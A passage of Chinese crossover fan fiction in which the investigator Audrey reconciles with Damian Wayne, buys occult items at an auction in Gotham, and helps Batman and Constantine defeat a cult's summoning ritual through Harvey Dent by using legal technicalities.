“回到纽约后,我被父亲关起来了。”哈利丢下重磅炸弹，但语气很冷漠，像是伤心后的绝望。“上个月体检时，我发现身体出了点问题,父亲说这种基因逆转病症是家族遗传,每一代发病的时间都比上一代早。他在四十五岁时发病，预期我的症状会在三十五岁之后才出现,所以没有告诉我。他一直在研发药物，希望能终止这个在家族中延续的悲剧。” “那也没必要把你关起来吧？”奥德莉更困惑了。 “你知道彼得是蜘蛛侠吧？”哈利忽然问了一个看似无关的问题。 “呃……知道。” “那你听说过纽约今年新出现的反派绿魔吗？” “脚踏滑板，武器是南瓜炸弹那个？还有人没听说过吗。” “我父亲也知道蜘蛛侠的身份。”哈利冷笑了一下,“他就是绿魔。” “啊？”奥德莉露出呆滞的表情,只能说出单音节。 “他几次试图绑架蜘蛛侠都没有成功，于是要求我对彼得打友情牌，劝彼得自愿帮忙。他认为彼得的基因变异对他的研究至关重要。” “如果只是抽点血就能救你的话，彼得肯定不会拒绝的，这也没什么吧。”奥德莉客观评价。 “如果是那么简单就好了。他要对彼得进行人体实验,深入研究他的基因构成,彼得会成为生不如死的小白鼠。” “所以你拒绝了奥斯本先生，他一怒之下把你关起来了。那苏洛恰那又是怎么回事？” “前天晚上,苏洛恰那找到我父亲，说她有办法为人增加寿命，不过需要把我交给她。” “奥斯本先生不会这么轻信一个来路不明的人吧？” “通常不会，但他已经绝望到疯狂了。而且他也没有马上相信，他通过一些渠道验证了苏洛恰那的话。” “那还是我连累了你。”奥德莉很抱歉地说。“她是为了威胁我帮她做事。” “怎么会是你的错呢。”哈利反驳道，“是我父亲将我交出去的。他已经不在乎我的死活了。” 难怪哈利的情绪比上次见面更糟糕。奥德莉不知道该如何安慰他。 “如果我知道会被用来威胁你，我是宁死也不会去的。”哈利说。“苏洛恰那把我放出来，说明她的目的达到了？” “是的，她得到了她想要的，然后得到了她应得的。”奥德莉不想将细节讲给哈利，免得他更加愧疚。她只是简略地说。“她死了。” 哈利对苏洛恰那没什么愤恨之情，听到这个消息也只是嗯了一声。“她是真的能增加寿命吗？” “能，但是无法治疗。”奥德莉说，“她只能帮奥斯本先生痛苦地多活一段时日。” “那对他来说就足够了，他需要时间继续研究。”哈利说。“他不在乎痛苦，只在乎能活到研究成功的那一天。” “那你呢？你比奥斯本先生提前发病，是否意味着恶化的速度也会更快？”奥德莉问。 “这是很有可能的。” “所以你上次来见我，是想着见最后一面吗？” 哈利没有回答。 “我不太懂生物实验，但我觉得你应该和彼得谈谈。如果他知道自己原本可能帮得上忙，却被剥夺了这样的机会，他会很伤心的。” “我正是怕他不会拒绝我。”哈利低着头说。“我不能让他为了我受那种痛苦。” “谁能肯定奥斯本先生的实验计划是唯一可行的方案？他研究了太久，已经形成了思维定势。彼得和格温也许能给出新的思路呢。” “好吧，我回去就找他们。”哈利说，眼里有了点光采。“现在该说说你的新本领了。你是去霍格沃茨读书了吗？” “嘿嘿，”奥德莉开始吹嘘自己，最后宣布：“我一定会成为青史留名的调查员。” “确实很厉害。”哈利赞同，又有一些黯然。“你已经飞得太远了，到了我无法照看的地方。我为你骄傲，但又希望你还是那个想在办公室做个摸鱼文员的奥德莉。” “其实我还是那个我。”奥德莉有点尴尬地说，“所以才选择这个帮忙做实验记录的实习。只是哥谭这个城市太藏龙卧虎了。” 将哈利送回纽约后，奥德莉回到宿舍，发现达米安站在门口等她。 “你怎么来了？”奥德莉打开门让他进去。 “阿尔弗雷德说你送哈利回去了，我想你接下来会回这里。” 两人在餐桌边坐下，奥德莉问：“茶还是咖啡？” “你这里只有水。”达米安指出。 “你猜错了。”奥德莉从冰箱里取出中午从食堂拿的可乐，自己喝起来。 大眼瞪小眼了一会儿，达米安先开口了：“对不起，我隐瞒身份并不是因为不信任你……” “等一下，”奥德莉急忙打断他，“你完全不需要为这件事道歉。我尊重你的决定，而且我也不觉得这意味着不信任。你的身份泄露不只会影响自己，还可能影响到周围的人。比如蝙蝠侠和韦恩先生，我在知道你是罗宾的时候，就明白他们是你的父亲了。我猜他们并不想正式公开关系吧。” “你在说什么…”达米安被前面的话感动了，但后面的话他听清了每一个字，却一个字也没听懂。 “哥谭人都知道韦恩家的达米安少爷是蝙蝠侠和韦恩先生的孩子，我本来不敢相信，直到发现你是罗宾才敢肯定这不是谣言。”奥德莉安慰他。“这也没什么呀，你比其他人少了一个母亲，却多了一个父亲。” 这就是谣言！你不是蝙蝠侠的粉丝吗，为什么会对偶像造谣得如此自然？达米安不想撒谎说蝙蝠侠不是他的父亲，又不能公开蝙蝠侠的真实身份，只能面无表情地沉默。 “其实应该道歉的人是我。虽然不是有意的，但终究造成了你的失忆。我以为你是故意不联系我的，还背地里说过几次你的坏话。”奥德莉忏悔道。 “你不高兴也很合理。无论是什么原因，我总归是失约了。”达米安表示理解，又问：“你是怎么认出我的两个身份的？” “很难吗？”奥德莉疑惑。 你都没有认出你的偶像蝙蝠侠和被你造谣的另一个主人公韦恩先生是同一个人，所以是的，很难。达米安想。 “我想知道是不是露出了什么破绽，以后可以注意。”达米安说。 “那你需要换一副更遮挡的眼罩。”奥德莉说，“没有人对你说过吗？你的绿眼睛很特别。” 达米安愣住了，然后耳朵悄悄红了。 “你能原谅我吗？”奥德莉没注意到达米安的异样，关切地问出最在意的问题。“你不会因为失忆的事怪我吧？” “当然不会。”达米安说。 “那我认出你是罗宾却没有告诉你呢？” “我能理解。” “所以我们和好了？” “还有一件事，”达米安慢吞吞地说。“我们回到拉撒路池时，你为什么不辞而别？” 最解释不清的问题来了。能怪布莱克吗？当然不能，它可是为了救她而冒险。 她还有什么选择呢？只能默默认下布莱克的行为，为此道歉：“事出有因，绝不是我的本意。” “好吧。”达米安轻轻放过此事。既然奥德莉不是故意的，那追究背后的原因也没有意义。 见他善解人意地没有追问，奥德莉松了口气：“我还要在哥谭待六个星期呢。你说要做向导，这话还算数吗？” “当然。” “可是哈利说他没有拜托过你们。”奥德莉忽然说，其实她根本没有问过哈利，只是在诈达米安。 “那就是德雷克记错了。”达米安马上推锅，但看见奥德莉似笑非笑的狡黠表情，只好解释道：“我看到你之后有一种奇怪的熟悉感，后来又发现记忆缺失，想和你多接触看看能不能找回记忆。” “这才说得通嘛。”奥德莉点点头。 并没有说出全部原因的达米安又有些不开心了。只是为了找回记忆的话，有必要天天去找她吗？但是看到奥德莉一副我真是神机妙算的得意表情，他的脾气又烟消云散了。 “你还想接受体术训练吗？”达米安问。 “好呀。明天周六，我先吃个早午餐，然后去找你。” “你要去哪里吃，我和你一起去。” “旅游必吃榜排名第一那家。” “哥谭有这种东西？哥谭根本不是旅游城市吧。” “你没听过那句宣传语吗，‘大美哥谭，绿水青山’。” “这是毒藤女投的稿吗？哥谭哪里有山？”达米安吐槽。【你现在阅读的是 】 30-40 第31章 “我觉得他还在生气。”布莱克眼泪汪汪地对奥德莉说，用黑色小猫爪轻轻…… “我觉得他还在生气。”布莱克眼泪汪汪地对奥德莉说,用黑色小猫爪轻轻碰她腿上的淤青。 “他只是对训练严肃认真而已，是个负责任的教练。”奥德莉摸摸布莱克的头，“你不觉得他教的内容很实用吗,而且根据我的习惯做了调整。” “要不是这样,我早就打他了。”布莱克很威武地说。自从达米安表示不会计较失忆的事情,它又支棱起来了。它催促道：“你今天拍到的很像我的黑色小猫，快点发到Ins上。” 奥德莉拿起手机，把下午在咖啡馆拍到的一系列照片发到Instagram。这家女巫咖啡馆很有特色,带着黑猫设计的小巧思隐藏在各处，她认真地找了很久，达米安也帮她一起四处搜寻。 “配上文字。”布莱克指示。 奥德莉写：“和黑猫共度的美好时光。” “重写，多夸猫咪几句。”布莱克要求修改。 “怎么感觉你像是在给ChatGPT输入指令,”奥德莉吐槽一句,但还是有求必应地修改：“我是被黑猫选中的幸运人类，它是凝固的夜色,也是会呼吸的暖阳。每一个平凡的时刻，都因为它的碧绿眼眸而镀上金边。” “马马虎虎吧，”指手画脚的甲方布莱克不是完全满意,但还是批准发布了。“快发快发。” 彼得第一个点赞,格温也很快回复“好可爱”。哈利凌晨才看到，发现自己已经挤不进前十了，第二天早上立刻给奥德莉打电话，要求她下次在凌晨定点发布，以便自己抢到第一。 奥德莉照做一星期,直到格温在群里指责哈利作弊。 清晨的韦恩家,四任罗宾共进早餐。阿尔弗雷德很高兴他们每月一次的聚会能持续下来，为几位少爷奉上大杯牛奶。 韦恩老爷还在赖床,体贴地为小辈们留出交流感情的空间。他知道孩子们的共同话题之一是吐槽他，他的在场会影响他们的畅所欲言。 “迪克，你恋爱经验最丰富，”达米安开口。 “恋爱经验最丰富的不应该是布鲁斯吗？”迪克深觉冤枉。 “布鲁斯多数是逢场作戏，认真的没几段。而你的前任包括……”提姆奋力喝完牛奶，终于有资格获得咖啡，猛灌几口准备开始列举，迪克急忙打断他。 “好吧我算是有些经验。小D你是有感情上的烦恼吗？” “奥德莉在过去四天里一共发了五条Ins，都是在凌晨四点，也就是我夜巡回来的时候，我通常会在那个时候查看当天的信息。她每次的推文内容都带有黑猫表情。另外，在我留言之后，她都回复了我笑脸表情。我觉得奥德莉一定是很在意我，你觉得呢？”达米安越说越觉得自己非常有道理。 “我觉得这只能说明你时刻关注她的Ins，说明你在意她。”迪克一针见血。“而且你是用小号留言的，她根本不知道那是你。” 达米安充耳不闻地捧着牛奶杯，在杯子后面露出微笑，笃定地说：“她一定是因为我而这么做的。” 提姆和迪克对视一眼，决定不去打击深陷幻想的罗宾。倒不是他们俩不想，只是老管家正站在那里一脸欣慰地看着达米安，似乎已经幻想到韦恩家族的第四代成员了。 杰森看得津津有味，恨不得鼓励达米安再多说点——好看，爱看。今天没白来。他还热切地问迪克：“他这个症状多久了？” 奥斯本集团总裁因病退位，独子休学支撑大局。这件事在财经新闻上引起一些波澜，但股价迅速被稳定下来后，人们的注意力很快被其它消息吸引走了。 老奥斯本被神盾局带走关押兼治疗，彼得和格温加入了哈利组建的研发团队，斯塔克工业和韦恩集团也给予了帮助。哈利忙得不可开交，反倒被激发了斗志。 奥德莉继续她的实习日常——和阿卡姆病人谈话并记录。可能是哈维的出院触动了他们，病人的态度更友善了。 “奥里弗拉姆拍卖行要在哥谭临时举行一场拍卖会，明天晚上你有空吗？我刚收到两张入场券。”早上开会时，维斯勒医生问奥德莉。 数百年前，奥里弗拉姆拍卖行在伦敦创办，专卖密教材料和稀有文献。在防剿局的关注下不屈不挠地经营了二十年之后，店铺被一场无法解释的大火烧毁，店主不得不找了一处局促的新址继续业务。坚持了几年后，店主决定调整经营模式，在世界各地巡游营业。这一举动大受研习无形之术之人的欢迎。 拍卖会通常会提前一两个月放出预告，不知这次为何仓促通知。“也许店主获得了什么不能长久储存的材料，急于出手。”维斯勒医生猜测。 “谢谢您，我太想去了！”奥德莉激动。虽然很可能什么也买不起，但能见见世面也是好的。 “一个建议：在出发前想好你愿意消费的最高额度，然后严格遵守。拍卖会的气氛经常会冲昏人的头脑。”维斯勒医生的善意提醒中包含着她的血泪经验。 “如果额度定在两万的话，会不会什么也买不到？”奥德莉没有经验。 “不一定，拍卖会上的东西很杂，价格有上百万的，也有几千元的。可惜这次的通知太突然，没有附上货物清单，要到现场才能知道拍卖的具体内容了。” “拍卖会在哪里举行？我需要穿正装吗？” “在哥谭法院旧址，没有着装要求。”维斯勒医生说。“明天晚上八点来办公室找我。” 晚上，奥德莉反反复复数自己的小金库，盘算着是不是能把消费额度提高到三万。布莱克看她对着计算器狂按四位数加减法，忍不住说：“你都算了三遍了，面对现实吧。” “还是有用的，”奥德莉说，“我现在可以把预算精准到两万三千八百二十五。” “你不会打算每次加价一块钱吧……”布莱克想不通这么精确的意义何在。 这时达米安给奥德莉打电话，问她明天晚上要不要一起去韦恩塔看烟花。“哥谭每年都会在独立日举办大型烟花秀，韦恩塔的楼顶是绝佳观赏位置。” “我明天晚上有安排了。”奥德莉惋惜地说，“我要去参加拍卖会。” “哥谭最近有什么拍卖会吗？”达米安一边说，一边开始搜索。 “是圈内的，不对外。”奥德莉说。“我想去见识一下。” “哦，那我一会儿送几张空白支票过去。”达米安说。 “啊？”奥德莉感受到调查员遇到大金主时的幸福眩晕。可惜达米安并不是自己的赞助者，而是人傻钱多容易被人占便宜的富家少爷。她只能拒绝道：“我只是去看看，没什么特别想买的。而且还不知道这次会卖什么呢。” “我倒想到一样东西，如果他们有的话。”达米安说。 “是什么？” “圣雅纳略的真血。” “哦，用来书写羊皮卷的那个。”奥德莉恍悟。 “写作者说它有助于增强理性。如果你想把维多利亚世界和乐高世界的坐标记录下来的话，可以考虑以它为材料，续写前辈未完成的事业。” “你说得很有道理，”奥德莉说，“如果是它的话，我的预算应该足够。” “好吧，”达米安暂退一步，但还是强调：“即使超出预算也要拍下，就当是和我一起拍，我来付超出的部分。” 见奥德莉没有马上答应，达米安又加上一句：“羊皮卷很重要，不只是对你而言，也是对全人类。你需要我去请蝙蝠侠亲自来找你谈吗？” “不用了，我答应你。”奥德莉不想为这点小事打扰蝙蝠侠。 挂断电话后，奥德莉发现布莱克欲言又止、止言又欲地望着自己：“怎么了？” 布莱克恨铁不成钢地说：“如果麦哲伦拒绝西班牙王室的资助，人类要何时才能验证地圆说？哪有调查员把钱往外推的。” “这怎么能一样，达米安纯粹是对金钱没概念，拿他的钱有一种骗小孩子糖果的感觉。” “那让他正式赞助你，签协议的那种。”布莱克提议。 “他是个未成年人，还记得吗？法律上他没有行为能力签署赞助协议。” “你也不比他大多少呀，你们人类不是有个什么罗密欧与朱丽叶法案么？” “那个是针对谈恋爱的。”奥德莉无语。“你的知识都学杂了。” “喵呜。”布莱克尴尬地叫了一声，又眼前一亮：“那等他满十八岁就可以赞助了？” “到时候再说吧。”奥德莉说。 “还有哈利，他也可以赞助你呀。”布莱克广撒网，目标不止一个。 “总感觉对熟人下手不好意思。”奥德莉实话实说，“毕竟普通人很难从调查员的成果中获得实质收益。” “怎么会呢，他们应该感谢你才对。这是给他们参与伟大调查员的征途的珍贵机会。”布莱克很有职业荣誉感地说，眼中充满了对星辰大海的向往。 “你太夸张了。”奥德莉挠挠布莱克的下巴，它舒服得眯起眼睛，狮子王状态终止。 第32章 哥谭法院旧址位于市中心偏东，三十多年前在一场爆炸中化为废墟。正义女…… 哥谭法院旧址位于市中心偏东,三十多年前在一场爆炸中化为废墟。正义女神的雕像早已蒙上灰尘，只有残存的拱顶、石柱和破碎的彩色玻璃窗依稀透露出昔日的威严。明明处于黄金地段，却不知为何始终无人出资购入改作他用,哥谭市政府仍是产权所有者。 夜晚的法院旧址幽暗阴森,建筑四周被铁丝网草草围起,挂了“禁止入内”的牌子。奥德莉跟着维斯勒医生以照明术点亮周围，绕了一圈才找到入口，沿着台阶走下去。 “为什么选在这里？”奥德莉原以为这不过是一处被废弃的建筑,到达后才发现是断壁残垣。拍卖会在地下一层举行，希望不要中途塌陷。 “因为这里不需要付租金。”维斯勒医生猜测。严格意义上说，店主和他们都在实施非法入侵。 看到店主对场地的选择如此别具一格，奥德莉合理地担忧起拍卖会是否会被安排在某个昏暗角落,是否有人藏头露尾,甚至是否有人埋伏在门口伺机打劫。最后一项实则是杞人忧天，因为客人们都会选择传送离开。 地下一层一间宽敞的屋子里灯火通明,门口那块写着‘档案室’的铭牌已经摇摇欲坠。屋内数十张折叠椅摆放整齐，已经有十余人分散落座了。 奥德莉和维斯勒医生先去最前方的拍卖桌前取了物品清单，然后在第二排坐下,一边阅读清单,一边等待拍卖开始。 所有物品都没有任何注释说明，对于从未听闻的物品，奥德莉只能根据初始价格来猜测其价值。幸运的是，清单中竟然包括了圣雅纳略的真血，起拍价为五千元,每次加价需为一百元的整数倍。 现任店主埃莉诺奥里弗拉姆已经步入中年,身材高挑，银灰色长发在脑后挽成低髻。她语调温和,却极具感染力。拍卖会的过程平平无奇。奥德莉顺利地以六千元拍下了圣雅纳略的真血，她有点不敢相信只有一个人和她毫不激烈地竞争两次，然后就落锤了。 “这里不会卖假货吧？”奥德莉用手机打字给维斯勒医生看。 维斯勒医生指指清单最下方的一行小字，“奥里弗拉姆拍卖行郑重承诺，所有拍卖物品已经过严格验证，均为真品。假一赔十。” 大概是这个东西大家都不需要吧。奥德莉放心了，又研究起手中的清单，看还有什么值得竞拍的。她还有一万七千八百二十五的可用额度呢。 奥德莉又拍到一块玫瑰指针怀表，没有皮斯利教授的那块精致，但胜在便宜，只花了三千元。 她还参与竞拍了一套黄铜蒸馏器，在价格叫到八千元时，维斯勒医生示意她停手，她便立刻退出了。这是她们在出发前商量好的，如果维斯勒医生根据经验判断价格虚高，会及时提醒她。 维斯勒医生拍下几件各有用途的医学器具以及数件仪式材料，对收获很满意。 回到宿舍后，奥德莉先给达米安发信息，告诉他自己仅以六千元便买到了圣雅纳略的真血。然后她打开黑色牛皮纸袋，拿出里面的水晶瓶。 瓶子比巴掌略大，里面的橙黄色液体在清澈与浑浊间循环往复，仿佛在交替经历暴风与平静。 她又取出怀表尝试调试，为其设计之复杂而惊叹。 热爱钻纸袋的布莱克见奥德莉已经取出所有东西，立刻迫不及待地跳进去，紧接着屁股被硌了一下，“喵呜”一声从袋子里蹦出来，用爪子捞出一个很小的金属锤子，摸索几下又掏出一张纸条。 “赠哈维检察官。”奥德莉读出纸条上的内容。“这是要干什么？行贿？恐吓？” 手机忽然响了，是达米安打来的：“你回宿舍了吗？” “刚回来。今天的烟花好看吗？”奥德莉问，却听见听筒另一端传来呼啸的风声，达米安似乎正在急速奔跑。“怎么了？” 达米安断断续续地说：“刚才月亮忽然变成红月，在看烟花的观众中引起一阵骚动。同时康斯坦丁发来示警，说有人在哥谭法院旧址举行了什么仪*式，蝙蝠侠让我去看看。” “这么巧，我刚从那里回来。”奥德莉震惊。她拉开窗帘，一轮血色圆月高悬于空，她很确定自己回来时月亮还是与平日一样的清冷颜色。“满月，又是没有预告的红月，感觉不太妙啊。” “拍卖会在法院旧址举办的？” “对。另外我这里也发生了一件怪事。”奥德莉把锤子的事情讲给达米安。 “你再看看袋子里是不是有一个小圆片？”达米安说。 布莱克立刻伸爪去摸，真的摸到一个硬物，用小黑爪托着展示。圆片太小，把它的爪子都衬得格外大。 “真的有。你怎么知道的？”奥德莉不可思议。 “听描述像是法槌和其底座。”达米安解释。 “但是纸条上写的称呼是哈维检察官。”奥德莉听到与法官相关，立刻紧张起来。“我还以为是有人想用锤子威胁哈维，难道又是在打法官人格的主意？” “康斯坦丁到了。”达米安终于停下了脚步，“他正在检测魔法痕迹。” “有什么发现吗？” “一无所获。”达米安说。 康斯坦丁无功而返，面露困惑地说：“黑暗正义联盟的启兆仪从不出错。” 启兆仪是一个魔法金属铸造的中空球体，上面刻满了各种符文咒语，设计灵感来自中国古代的候风地动仪。任何概念性扰动都逃不过它的感知，例如召唤外神或魔神的仪式准备，或是外神临近所引发的认知扭曲。 “或许将拍卖会临时安排在今天，真正目的是为了掩护某些东西。”奥德莉猜测。 达米安将拍卖会的信息转述给康斯坦丁，康斯坦丁索性用自己的通讯器直接加入频道，与奥德莉讨论起来。达米安听见康斯坦丁问明了拍卖会的具体房间，插言道：“据我所知，老法院的地下有两层档案室。” “拍卖会是在地下第一层。”奥德莉肯定道。 “我下去看看。”康斯坦丁说，“我检测不出魔法残余，但可能有物理痕迹。” “需要我去吗？”奥德莉问。 “不用。”康斯坦丁说。“我是个侦探，任何蛛丝马迹都逃不过我的双眼。” “好吧。对了，我现在把拍卖清单发给达米安，虽然不知道是否有用。”奥德莉说着，用手机拍照。 “超过一半的物品都是珍稀材料，”康斯坦丁快速浏览着，“足以掩盖轻微的魔法波动了。” “把法槌和底座的照片发给我们。”达米安说。 奥德莉照做，说：“底座背面刻着很小的字，‘Iudiciumvenit’，这是拉丁语，‘审判即将到来’。” “这是为法官哈维增加法力的道具吗？但尺寸上是不是太偷工减料了？”达米安开玩笑地说。 “如果它被放在我的袋子里而不被店主发现，那很可能是店主自己放进去的。哈维好不容易战胜自我，还不放过他。”奥德莉愤然。 “店主很可能是知道你在哈维的出院过程中发挥了作用，也因此相信你不会加害哈维。他的举动，更像是一种示警。”达米安说。 “那要交给哈维吗？或者我先代为保管，研究清楚再说？”奥德莉摆弄着法槌，用它在底座上轻轻敲一下，什么也没发生。也可能是因为她不具备激活它所需要的潜能。 “先等一等吧。”康斯坦丁说，他和达米安已经到了地下第二层，有人用荧光材料在墙壁上绘制了大片的扭曲符文。“有人准备了古老的召唤仪式。” “召唤乌尔塔尔？”奥德莉问。 “你是怎么猜中的？”康斯坦丁诧异。 奥德莉犹豫了一下，简单介绍了哈维的第三个人格。康斯坦丁恍然：“这些人，姑且称为信徒吧，试图以哈维作为容器召唤乌尔塔尔的意识降临。可能正是这些信徒引诱了法官哈维的诞生，以便他能成为司法与混乱、正义与堕落的完美结合体。” “那这个法槌也是仪式的一部分吗？” “我想它可能是核心部分，仪式将在哈维落下法槌时正式完成。”康斯坦丁推测。 “那为什么会在店主手里？店主又为什么要悄悄把它给我？” “只有店主能回答了。”康斯坦丁耸耸肩，“仪式为什么还没开始？这种人为红月持续不了太久，最多再过一小时就结束了。” “有人来了。”达米安忽然听到上方传来细微响动，他和康斯坦丁立刻躲到两个破旧的铁皮柜子后面。 “七个人，他们带来了被打晕的哈维。”达米安给奥德莉发信息。 “需要增援吗？”奥德莉问。 “蝙蝠侠在来的路上。”达米安回复。“法槌在你那里，如果康斯坦丁的推测正确的话，他们的仪式根本完不成。” “未完成的仪式并不意味着失败，反而可能带来更大的危险。”奥德莉说。“如果仪式成功，乌尔塔尔的力量将汇聚在哈维体内，由他来审判一切。但如果被中断，乌尔塔尔的力量可能会扩散，弥漫整个城市。” “你不会是在建议我想的那个吧？”达米安领会了她的意思，无奈地说。 “我已经到市中心了。”奥德莉说，传送一落地，她便开始朝着法院旧址奔跑。 第33章 奥德莉与蝙蝠侠在法院旧址外“禁止入内”的牌子前相遇了。“你希望…… 奥德莉与蝙蝠侠在法院旧址外“禁止入内”的牌子前相遇了。 “你希望促成仪式成功？”蝙蝠侠问。他在频道里听到了所有对话。 “是的,”奥德莉说。“我不知道店主为何会把如此重要的法槌交给我，也许是希望仪式中断后哥谭陷入混乱，也许是被信徒威胁着掩护他们所以有意报复。但无论如何,我认为仪式成功才能将损害控制到最低,因为我们只需要应对一个人。” “即使这意味着乌尔塔尔的降临完成？”蝙蝠侠问。 “从乌尔塔尔将视线投向信徒的那一刻起,降临便已成型。他们筹谋已久，我们无法在这一步阻止。只能想办法驱逐祂。” “我赞同。”康斯坦丁的信息从通讯器上跳出来。“对付一个疯子，总好过面对一个城市的疯子。” “看来你有一个计划了。”蝙蝠侠肯定地说。 “一个有些冒险的,需要哈维全力配合的计划。”奥德莉解释道。“如果我们能证明仪式本身是不合法的，仪式就会被自己触犯的规则破坏，乌尔塔尔也会被立刻驱逐——前提是哈维的意志能支撑一阵子，没有马上被乌尔塔尔吞噬。” “你说的不合法……”蝙蝠侠看向“禁止入内”的牌子,若有所思。“法院旧址的产权从未转手,未经哥谭政府许可不得入内。而且这处建筑仍被归类为‘历史建筑’，未经审批,任何破坏都是违法的。” “正是。信徒们非法入侵，又在墙壁上绘制法阵，至少违反了两项法规。”奥德莉说。 “我相信哈维不会停止抗争的。”蝙蝠侠同意了奥德莉的计划。“可惜我们来不及确认信徒们是否通过一些渠道获得过许可。你知道的,哥谭的官员并不是个个清廉。” “请告诉我所有审批都已经电子化了,您能用一秒钟查到结果。”奥德莉痛苦地说。 “很可惜，并非如此。网上申请和纸质申请都是被允许的。”蝙蝠侠说。“这是为了保障所有人，尤其是不熟悉网络操作者的平等参与权利。” “很有道理。但我们不能既去赌哈维的意志，又去赌信徒们是否违规。那样的风险太高了。” “我来解决这个问题。”蝙蝠侠说。“帮我拖延时间。” 奥德莉点点头，独自走到地下二层。她知道达米安和康斯坦丁正躲在某个角落。 “你们是谁,为什么擅自闯入此处？”奥德莉对正在准备仪式的几个信徒喊道。 “你是谁？”一个戴着黑色兜帽的男人朝奥德莉走来。 “我是一位正义市民,”奥德莉说。“你没有看到门口‘禁止入内’的牌子吗？这是市政府的财产，你们凭什么半夜潜入？” “你不是也进来了吗？”男人反问。 “好吧,那我是一位一般正义的市民。”奥德莉说，“但我不是必须要遵守规则的那个。” “哈，”男人笑起来，明白了她的意图。他从口袋中掏出一张纸，展开给奥德莉看。奥德莉靠近一些，念出上面的文字：“临时集会许可……由休伯特约翰逊议员签发。” “满意了吗？”男人的语气中泄露出一丝得意。 “你知道这栋建筑……呃，建筑废墟有多古老吗？”奥德莉赶紧提出另一项问题。 “我们当然知道。这座哥谭法院曾为正义服务了两百年，它早已孕育出深植其骨的‘裁决之则’，即使在建筑倒塌后，那种力量仍然存在。” “难怪你们选择这里。”奥德莉说，用手指了指墙上绘制的符文。“虽然你们获得了集会许可，但对于这种历史建筑，任何毁坏都是被禁止的，你们的艺术大作也在其列。” “小姐，这一点我们也早有考虑。”男人似乎很高兴能有一个积极提问的观众，让他们那些看似无用的准备显得不那么徒劳。“我们被雇佣对这里进行‘修缮’。” “想来你也有正式的雇佣文件了？”奥德莉问。 “当然。”男人说。 “好吧，那我没有其它的问题了。”奥德莉叹气。“你们继续，不用管我。” 男人又回到同伴身边，给了哈维一耳光将他唤醒。哈维迷茫地看看周围，看到奥德莉之后更困惑了。 “尊敬的哈维法官，”男人十分恭敬地说，很难相信正是他刚刚打了哈维一巴掌。 “我不是法官。”哈维的态度冷淡。“你要找的那位已经洗手不干了。” 男人大吃一惊，显然他并不知道这些，他还以为是哈维的法官人格骗过了医生，才得以出院。但他很快又不在意地笑笑，说：“没关系，他会再出现的。” 男人向同伴伸出手，另一人去掏口袋，却没找到想要的东西，惊慌地上下摸索一番，低声说：“东西不见了。” “废物。”男人骂了一句，但现在不是训斥同伴的时候，红月快要结束了。他轻声念诵咒语，奥德莉感觉到口袋中的法槌和底座在发热，然后震颤着朝男人飞去。她试图按住它们，但没有成功，掌心被烫出了红痕。 “为什么它们会在你那里？”男人惊疑地问。 “有人委托我送过来。”奥德莉胡说八道。“我是一个快递员。” 男人显然不信，但也并不纠缠。他将微型的法槌塞进哈维手里，又继续念诵了一会儿，法槌和底座震颤着逐渐变大，最后变成与普通法槌相似的大小。 哈维最初想丢掉法槌，但在咒语念诵的过程中，他的神色逐渐变得迷茫而痛苦，仿佛他体内正在上演一场剧烈的意识争夺战。最后，他颓丧地低下头，再抬起头时，奥德莉又一次见到了他的第三个人格。 “这是科妮拉特利奇法官刚刚签署的紧急禁令。”康斯坦丁忽然从藏身处走出，手中的手机显示屏上是一张清晰的图片，“禁止任何人进入或破坏哥谭法院旧址。” “哥谭警局刚刚逮捕了休伯特约翰逊议员，罪名是受贿以及行为失当。”罗宾装扮的达米安也走出来，出示逮捕令的照片。 奥德莉宣布：“你们失去了合法依据。这座法庭已不适格，不再被承认！” 男人第一次露出真正的慌张神色，但他并不肯立即放弃，跪倒在紧闭双眼的法官哈维身前说：“永恒审判者，无言律法的化身，请您做出宣判。” 哈维在意识的深海中不断挣扎，用自己对公正和法律的信仰与乌尔塔尔的力量抗衡着。在广袤的黑暗中，哈维仿佛看到一线光明，那是他在初任检察官时对哥谭许下的誓言。 不知过了多久，哈维缓缓睁开双眼，他微微一笑，紧紧握住手中的法槌，用力地敲在底座上。法槌表面浮现出纯白光芒，也许正是因为混杂了太多色彩，才显得如此洁白。 法官哈维用沉稳的声音说：“审判，在秩序中开始，也该在秩序中终结。” 随着法槌敲击的声音，墙面上的仪式符文如镜面般破碎，最后在空中扭曲成拉丁文字——“Judiciumsubordine”（审判在秩序之下）。 刚刚赶到的蝙蝠侠目睹了这一切，他低声说：“哈维，夺回自我。” 法官哈维对蝙蝠侠点头示意，再一次回到了他为自己划出的牢笼之中。法槌和底座重新变得微小，检察官哈维在它们落地前迅速地接住了。 “保险起见，我去找法官签署了一份紧急禁令。”蝙蝠侠说着，忍不住笑了笑，“谁能想到，对抗外神，竟然得靠这么人类的方式。谁说繁文缛节没有好处？” 达米安已经把七个束手就擒的教徒捆起来了，奥德莉把为首的男人扯到蝙蝠侠面前，告状说：“他打了哈维。”然后又伸出手给蝙蝠侠看，“还把我烫伤了。” “我知道了。”蝙蝠侠对上奥德莉期待的眼神，哭笑不得地说：“那你想怎么样？” 奥德莉说：“我想以牙还牙一下。” 蝙蝠侠瞪她一眼，转身不去看她。奥德莉心领神会，快速地给了男人一拳，然后一本正经地问：“拍卖会的临时举行，是不是与你们有关？” 男人完全不想回答，但看奥德莉蓄势待发，于是说：“是，我们给了店主些好处，她便答应了。” “收了钱却捣乱，店主真是奸商。”奥德莉嘀咕道。 “我以为你会感激她想帮你。”达米安说。 奥德莉伸出手示意达米安看自己的掌心，达米安马上改口：“无良商人，没有商业道德。”又问她：“疼吗？” “疼，我回去得冰敷一下。” “我去帮你。”达米安说。 “虽然乌尔塔尔被驱逐了，但我觉得还是有一些微弱影响溢出，得去提醒戈登局长一下。”围观的哈维好心地提议。“这些人就留给我吧，我和蝙蝠侠顺路把他们送过去。” 哥谭警局的天台上，铁三角聚首在蝙蝠灯边。 戈登局长问蝙蝠侠：“你做了什么？警局现在比周日的教堂还热闹。从一小时前开始，许多人前来自首，痛哭流涕地忏悔罪行。我很高兴哥谭人民的道德感提升，但小学时偷过一块橡皮这种事真的不必来告诉我们。” 蝙蝠侠说：“看来你要加班了。当然，检察官也得一起，免得案件堆积如山。”他有点调皮地瞟一眼哈维。 “我爱工作。”哈维将食指与中指并拢轻触额前，对蝙蝠侠敬礼致意后，潇洒转身朝楼下走去。 “我想下班。”戈登局长疲倦地说。他本以为烟花秀后，维持秩序的加班警员们都可以回家休息，结果现在人人忙得不可开交。 蝙蝠侠没回答。戈登局长毫不意外，都懒得回头去确认他已经消失了。 第34章 “我去食堂取一些冰块。”和奥德莉一起回到宿舍后，达米安不抱希望地打…… 